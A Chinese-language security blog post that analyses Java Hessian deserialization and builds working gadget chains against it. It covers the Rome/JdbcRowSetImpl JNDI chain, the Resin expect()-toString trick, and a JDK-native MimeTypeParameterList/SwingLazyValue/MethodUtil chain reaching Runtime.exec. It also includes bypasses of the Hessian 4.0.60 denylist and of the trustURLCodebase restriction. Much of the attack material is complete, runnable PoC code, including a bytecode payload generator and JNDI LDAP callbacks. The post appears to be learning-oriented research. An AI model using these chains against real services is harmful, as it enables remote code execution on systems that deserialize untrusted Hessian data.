Java反序列化之Hessian

本文最后更新于:6 天前

基础使用

序列化

1
2
3
4
5
6
7
8
public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
// hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

反序列化

1
2
3
4
5
public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
return hessian2Input.readObject();
}

漏洞浅析

普通类反序列化流程

同之前fastjson相似的,在分析hessian反序列化的过程中,就需要创建一个普通的对象去跟踪分析一下反序列化流程,直到找到入口点

hessian反序列化的过程中并

创建一个普通类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.vivo.internet.moonbox.common.api;

public class Person {
//这里的Person没有实现Serializable接口
public String name;
public transient int age; //这里的age用transient修饰符
private float weight;
public Person(String name,int age,float weight){
this.name = name;
this.age = age;
this.weight = weight;
}

public String getName() {
return name;
}

public int getAge() {
return age;
}

public float getWeight() {
return weight;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", weight=" + weight +
'}';
}
}

然后进行一波测试

1
2
3
String s = ser(new Person("potato",20,70));
Person person = (Person) unser(s);
System.out.println(person);

得到结果:

打上断点查看,原因在于Hessian在序列化数据的时候还是会检查是否实现Serializable接口

但是在Hessian中,序列化的这个规则很容易被打破,在上图第372行代码中存在一个变量_isAllowNonSerializable,在hessian中可以由下面的语句设置为true

1
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);

再次运行程序

观察到返回结果为下图,transient属性不会被反序列化

所以说,这个Serializable接口实现的限制只存在于序列化,并不存在于反序列化,Hessian的反序列化理论上支持反序列化任何对象~

然后就跟进看看一整个反序列化的流程

跟进readObject(),这里的buffer是待反序列化字节流,然后取标识位,用于判断是什么类型的对象

这里我们反序列化的是自定义的Person类,所以走到了C,

走进readObjectDefinition(),

当步过readString()后,发现type被赋值为Person的类名了,中间的过程简单跟进一下看看即可

此处再走过len,代表参数的个数(非transient)

根据类获取反序列化器

一路步入,在这里有一处loadSerializedClass(),跟进

跟进load()

跟进isAllow(),感觉像是做过滤的

_allowList是在initAllow()赋值的

而_staticAllowList是在下面的静态代码块定义的,是加了白名单

但是这里的_allowList是null?

在initAllow()打上断点重新调试,发现从未走到这里,所以说这个isAllow()并没啥影响(高版本还真是在这里过滤Runtime的)

然后继续一路步过

来到判断type是否为基础类型,数组等的位置

后面的步骤都比较简单理解起来没什么难度(实际上是太懒了

就不写了

贴个调用栈有兴趣的可以自己调试调试

1
2
3
4
5
6
7
8
9
10
11
12
getFieldMap:318, UnsafeDeserializer (com.caucho.hessian.io)
<init>:80, UnsafeDeserializer (com.caucho.hessian.io)
getDefaultDeserializer:528, SerializerFactory (com.caucho.hessian.io)
loadDeserializer:481, SerializerFactory (com.caucho.hessian.io)
getDeserializer:403, SerializerFactory (com.caucho.hessian.io)
getDeserializer:717, SerializerFactory (com.caucho.hessian.io)
getObjectDeserializer:618, SerializerFactory (com.caucho.hessian.io)
getObjectDeserializer:594, SerializerFactory (com.caucho.hessian.io)
readObjectDefinition:2193, Hessian2Input (com.caucho.hessian.io)
readObject:2130, Hessian2Input (com.caucho.hessian.io)
unser:65, Test (com.vivo.internet.moonbox.common.api)
main:49, Test (com.vivo.internet.moonbox.common.api)

deserializer最后经过了一堆的判断之后,来到了获取默认反序列化器

最后调用到的是UnsafeDeserializer

在UnsafeDeserializer的静态代码块中能看到我们熟悉的Unsafe对象的获取

它的构造函数中,有这样一个fetFieldMap,根据Person的类,来获取对应的field

跟进去简单看一下,看到了对transient和static属性的处理,直接跳过不处理,这也是为什么前面观察到age属性无法被反序列化

获取到的field会被存入一个人hashmap

和原生反序列化类似的,Hessian也做了对readResolve()方法的处理

其实现则非常简单,循环遍历一遍所有的method名,判断是否有readResolve的

然后一路跟回来,过程中碰到的一些缓存啥的也可以看看

等回到readObjectDefinition()后,这里的reader就变成了UnsafeDeserializer

走到这一部分,再次通过readString()方法来获取field的名字,然后丢进fields和fieldNames数组中

往下走,把前面的那些重要的内容封装起来,没啥好说的

然后add到_classDefs类定义中

然后就结束了readObjectDefinition()的过程,如其名,获取对象的各种定义

继续跟进readObject(),

然后走到这里,跟进去

一路走到底,上面实际上就是从def中获取各种的属性啊反序列化器啊等等

跟进去

实际上就是开始通过unsafe来开始反序列化了,走不进去了就)

走过这一步,obj已经是一个空的Person对象了

再跟进这个readObject(),理论上来说,走进去之后就要开始给对象赋值了

没什么特别好说的,经过这样两步完成了赋值,然后就结束了反序列化的过程~

漏洞点

这么跟了一遍下来,是通过unsafe来进行赋值操作的,似乎并没有像之前原生反序列化或者fastjson那样有readObject()或者getter/setter方法来触发

那漏洞点在哪里呢?

答案就在于Hessian对于Map的反序列化过程中,会将反序列化过后的键值对put进map中

hashCode()

创建一个HashMap对象跟进调试调试

进到readObject()之后,对于tag的判断来到了’H’,也就是HashMap,跟进readMap()看看

继续跟进下面的readMap()

然后就来到了比较重要的一部分了,这里判断type如果为空,那么默认是给map赋值一个HashMap,

如果是Map类型的,则当做HashMap来反序列化,如果是SortedMap类型的则当做TreeMap来进行反序列化

然后就开始将键值对分别反序列化后存入map了

然后我们知道,当对hashMap调用put()方法的时候,为了检测key值唯一性,会先调用hash(key),进而调用key.hashCode(),因此我们就可以在hashMap的kay处做文章,构造利用链,hashCode()为入口点

equals()

在putVal()中,还会调用到key的equals()方法

compareTo()/compare()

而对于TreeMap,为了检验key值

之前没咋用过,,所以一开始出了点小问题,问题不大

改一个自定义的Comparable

1
2
3
4
5
6
7
8
9
10
TreeMap<Object,Object> treeMap = new TreeMap<>();
treeMap.put(new Comparable() {
@Override
public int compareTo(Object o) {
return 0;
}
}, null);

String treeMapStr = ser(treeMap);
unser(treeMapStr);

readObject()的第一步来到了’M’,经过readType()获取具体的Map类型之后,调用readMap()

然后走MapDeserializer的readMap()

再就是和上面HashMap的类似了

区别较大的是TreeMap的put()方法,跟进第一个compare()方法

会发现对k1调用了compareTo(),如果comparator(反射可赋值)不为null,还能调用comparator的compare()方法

自然就来到了我们的demo中的compareTo()了

gadget

Rome

马上学习了一下并紧接着这篇博客发布了关于yso中rome的反序列化:link

实际上一整条链子和yso的几乎没什么区别

1
2
3
4
5
6
7
8
9
10
11
JdbcRowSetImpl.getDatabaseMetaData()
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
HashMap.hash()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package com.vivo.internet.moonbox.common.api;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import com.vivo.internet.moonbox.common.api.model.RepeatModel;
import com.vivo.internet.moonbox.common.api.serialize.HessianSerializer;
import com.vivo.internet.moonbox.common.api.util.SerializerWrapper;
import javassist.*;
import sun.misc.Unsafe;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;
import java.util.*;

public class Test {

public static void main(String[] args) throws Exception {

HashMap<Object,Object> hashMap = new HashMap<>();

JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com");
// jdbcRowSet.getDatabaseMetaData();

ToStringBean toStringBean = createObjWithoutConstructor(ToStringBean.class);
setField(toStringBean,"_obj",jdbcRowSet);
setField(toStringBean,"_beanClass", JdbcRowSetImpl.class);

EqualsBean equalsBean = createObjWithoutConstructor(EqualsBean.class);
setField(equalsBean,"_obj",toStringBean);

hashMap.put(1,1);
setHashMapKey(hashMap,1,equalsBean);

String s = ser(hashMap);

unser(s);

}

public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}

public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void setHashMapKey(HashMap hashMap,Object oldKey,Object newKey) throws Exception{
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry!= null){
Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
Object keyValue = keyField.get(entry);
if (keyValue.equals(oldKey))
setField(entry,"key",newKey);
}
}
}

public static byte[] getEvilBytes(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evil");
String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}";
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.insertBefore(code);
// ctClass.writeFile();
return ctClass.toBytecode();
}


public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}



public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance();
}

}

有个小问题就是相比于yso的rome链,这里没办法使用TemplatesImpl,一开始没有报错也不清楚问题出在哪

摸索了一番之后猜测原因在于_tfactory属性是transient的,在原生反序列化中通过重写readObject()来给其赋值,但是在hessian中对于transient的属性是没办法反序列化的,并且只能在readResolve()中可能还原

(因为我yso的rome一开始用的是TemplatesImpl的触发点,,加上没有回显报错,导致这里硬控我半个小时,,

二次反序列化

利用java.security.SignedObject下的getObject()方法实现原生反序列化

Resin

导入依赖

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.63</version>
</dependency>

Hessian2.expect()

在Hissian2Input#expect()方法下,存在这么几点需要注意的

1、Input序列化流的offset在这个过程中自减1

2、offset自减1后,调用readObject()进行反序列化

3、将obj和字符串进行拼接,将调用obj的toString()方法

toString()能够大大延伸利用链

查找一下用法,除了readObject()之外几乎所有read**()方法都有调用

查找用法走到readString()方法,读取一个字节流,经过判断是否为一些基本类型之后,若都不是,则走进default来执行expect()抛出异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public String readString()
throws IOException
{
int tag = read();

switch (tag) {
case 'N':
return null;
case 'T':
return "true";
......

default:
throw expect("string", tag);
}
}

在上面跟踪反序列化流程的时候,提到过在readObjectDefinition()中获取类类型的时候第一步就会调用readObject()方法来获取对象的type

在readObject()中,当第一个字节为大写’C’,对应ascii为67

前面我们提到,hessian是通过byte每一部分的第一个字符即tag作为标识符来判断后续一部分字节流对应的类型

前面使用hashmap的时候Byte的第一位为72,即’H’,会走到hashmap的反序列化流程

重要的是,这一部分字节流都是我们可控的

来捋一下流程:

假如说序列化的对象是我们前面的恶意hashmap

一个序列化字节流封装到Hessian2Input中,调用readObject(),先读取一次tag,偏移量_offset加一,后面的字节流是一个hashMap恶意对象

我们的sink是expect(),所以就要tag为67

走进readObjectDefinition()后,调用toString(),再调用一次read(),偏移量_offset再加一,由于hashMap不属于上面判断的任何基本类型,所以走到default的expect(),

偏移量_offset减一,刚刚好这时候从偏移开始的字节流对应的是hashmap的序列化数据,然后对这个字节流调用一次readObject(),这时候会反序列化一次恶意hashmap,所以会触发一次poc,

再走到下面的obj和字符串拼接,调用obj的toString(),这时候会再触发一次poc,为什么呢?

实际上对hashMap调用toString()的时候,会调用父类AbstractMap的toString(),再调用其中的append(),再直到调用key的hashCode(),就不展开细说了

贴个调用栈

1
2
3
4
5
6
7
8
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
toString:236, Object (java.lang)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:534, AbstractMap (java.util)
valueOf:2994, String (java.lang)
println:821, PrintStream (java.io)
main:53, Main (org.example)

因为toString()的调用,让我们的攻击链不局限于hashmap和treemap,入口点从hashCode()变成了toString()

Hessian-jdk原生链

Runtime

入口点在javax.activation.MimeTypeParameterList的toString(),调用了parameters的get方法,而这里的parameters方法是一个HashTable

找HashTable的子类,发现只有UIDefaults有get()方法,并在其中调用了getFromHashtable(),传入key可控

在getFromHashtable()中,value从hashtable中通过key获取,LazyVlue是一个接口,若value是LazyValue的子类,调用value的createValue()方法

依次找一找LazyValue实现类的createValue()

在LazyPainter下的createValue()中有类加载和类实例化,前面讲到CC链的时候提到TrAXFilter的构造器下调用了Templates的newTransformer()方法实现攻击

但是定睛一看,1332行指定了构造器的参数,和我们想要的的TrAXFilter完全不同,走不通,继续看看

来到SwingLazyValue的createValue()方法,一切都豁然开朗了起来

但是还没完,这里的invoke只能调用任意静态方法,不过下面的任意实例化对象倒是给我们利用TrAXFilter提供了一个可能的的攻击手段

构造函数:

回顾一下利用流程:

1
2
3
4
javax.activation.MimeTypeParameterList.toString()
javax.swing.UIDefaults.get(Object)
javax.swing.UIDefaults.getFromHashtable(Object)
SwingLazyValue.createValue(UIDefaults)

初步构造一下试试:

结果报错了

1
2
3
4
5
6
7
Object[] arg = new Object[]{getTemplates()};
MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter",null,arg);
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
System.out.println(mimeTypeParameterList);

但是是能走到createValue()中的,当步过获取构造函数的一行的时候抛出异常

观察className等均没问题,感觉问题是出在getClassArray()的返回值,跟进去看看,最后通过getClass()来获取TemplatesImpl的class的

但是我们去看看TrAXFilter的构造函数,参数是接口Templates而并非TemplatesImpl,所以在getConstructor()的时候会出错

目前所学暂时拿他没招,,看看静态方法调用吧

MethodUtil.invoke()可以调用任意对象的方法

使用方法如下

1
MethodUtil.invoke(Runtime.class.getDeclaredMethod("exec", String.class),Runtime.getRuntime(),new Object[]{"calc"});

但是如果在SwingLazyValue()构造函数中传

很容易发现,Runtime.getRuntime()在进入SwingLazyValue.createValue()之后会获取其类Runtime.class

1
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{Runtime.class.getDeclaredMethod("exec", String[].class),Runtime.getRuntime(),new Object[]{"calc"}});

但是MethodUtil.invoke()的第二个参数是Object而不是Runtime,因此Method会获取失败

所以这里要做一个简单的变通,二次调用MethodUtil.invoke(),因为MethodUtil.invoke()是静态方法,所以二次调用中第二个参数可以是任意的值

为了符合SwingLazyValue.createValue()中获取Method的type,我们让它是Object对象

1
2
3
Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});

正向构造一下poc并用println()触发toString():

1
2
3
4
5
6
7
8
9
10
        Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
// MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}});
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
System.out.println(mimeTypeParameterList);

成功触发计算器弹窗,接下来回到最上面提到的第一个字节67,这里直接用write()对OutputStream进行修改写入

最终poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.*;

import sun.reflect.ReflectionFactory;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

import java.util.*;

public class Main {

public static void main(String[] args) throws Exception {

Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
// MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}});
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
// System.out.println(mimeTypeParameterList);

String s = ser(mimeTypeParameterList);
System.out.println(s);
unser(s);

}


public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}

public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
byteArrayOutputStream.write(67);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}



public static byte[] getEvilBytes(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evil");
String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}";
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.insertBefore(code);
// ctClass.writeFile();
return ctClass.toBytecode();
}


public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}



public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance();
}

}

但是在实际测试的时候,当我切换了一下jdk版本,用之前的payload反序列化,却出现下面几种问题:

或者没弹窗但是终端输出还是一样的,调试看看是哪里出问题了

8u382生成payload,8u381和8u65反序列化:

跟进到最后,却发现原本参数是String的exec(),却走到了参数是数组String[]的???但是我们传入的参数又是字符串,所以出错

来到上一帧看看Method的真面目,却又没什么问题,尝试学习为什么会导致这样,排除过jsk位数、jdk版本等各种影响,没得到一个比较好的总结,有知道的师傅欢迎来交流

针对性地,写下来String[]参数的exec的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
        Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String[].class);
// MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{new String[]{"calc"}}}});
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
// System.out.println(mimeTypeParameterList);

String s = ser(mimeTypeParameterList);
System.out.println(s);

然后用u65再试的时候,又来到了exec(String),,,

真是玄学了啊

hessian高版本绕过

引入依赖hissian>=4.0.60

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.60</version>
</dependency>

还记得前文提到的isAllow()吗

它回来辣!

和之前有比较大的变化,之前这个函数直接几乎没用,但是这次加入了一个对denyList的黑名单判断

黑名单赋值在静态代码块中,直接禁了Runtime

这时候想到JdbcRowSetImpl.getDatabaseMetaData()导致的jndi注入,并未在黑名单中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
        Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
// Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");


Field field = BaseRowSet.class.getDeclaredField("dataSource");
field.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);
field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
// jdbcRowSet.getDatabaseMetaData();


MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
// System.out.println(mimeTypeParameterList);

String s = ser(mimeTypeParameterList);
unser(s);

在jdk低版本,hessian高版本成功弹窗

JNDI绕过jdk高版本trustURLCodebase限制

在前面讲jndi注入的时候,在最后留下了一个方法,利用System.setProperty()方法来修改系统变量,乍一看System好像在前面Hessian高版本的黑名单中,但是实际上序列化的并不是System对象,而是setProperty()方法的Method对象,所以在Hessian高版本依旧行得通

回到上面,观察下面的代码,很容易看出对UIDefaults进行键值对的遍历

因此能够在触发payload的value之前,put一个调用setProperty()方法的value

但是突然想到一个问题

调用setProperty()之后,第一个键值对完成了他的使命,java程序抛出了异常

所以程序无法继续执行下去,代码蛮写一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
        Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
// Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");
Method setPropertyMethod = System.class.getDeclaredMethod("setProperty", String.class, String.class);

MimeTypeParameterList mimeTypeParameterList0 = createObjWithoutConstructor(MimeTypeParameterList.class);
SwingLazyValue swingLazyValue0 = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{setPropertyMethod,new Object(),new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"}}});


// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

Field field = BaseRowSet.class.getDeclaredField("dataSource");
field.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);
field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
// jdbcRowSet.getDatabaseMetaData();

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});

defaults.put("777",swingLazyValue0);
defaults.put("1",swingLazyValue);

setField(mimeTypeParameterList,"parameters",defaults);
// System.out.println(mimeTypeParameterList);


String s = ser(mimeTypeParameterList);
unser(s);

若用try结构也能触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
        Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
// Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
Method jndiMethod = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");
Method setPropertyMethod = System.class.getDeclaredMethod("setProperty", String.class, String.class);

MimeTypeParameterList mimeTypeParameterList0 = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults0 = new UIDefaults();
SwingLazyValue swingLazyValue0 = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{setPropertyMethod,new Object(),new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"}}});


// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

Field field = BaseRowSet.class.getDeclaredField("dataSource");
field.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = createObjWithoutConstructor(JdbcRowSetImpl.class);
field.set(jdbcRowSet,"ldap://127.0.0.1:8085/evil");
// jdbcRowSet.getDatabaseMetaData();

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{jndiMethod,jdbcRowSet,new Object[]{}}});

defaults0.put("777",swingLazyValue0);
defaults.put("1",swingLazyValue);

setField(mimeTypeParameterList0,"parameters",defaults0);
setField(mimeTypeParameterList,"parameters",defaults);

// System.out.println(mimeTypeParameterList);

try {
String s0 = ser(mimeTypeParameterList0);
System.out.println(s0);
unser(s0);
}finally {
String s = ser(mimeTypeParameterList);
System.out.println(s);
unser(s);
}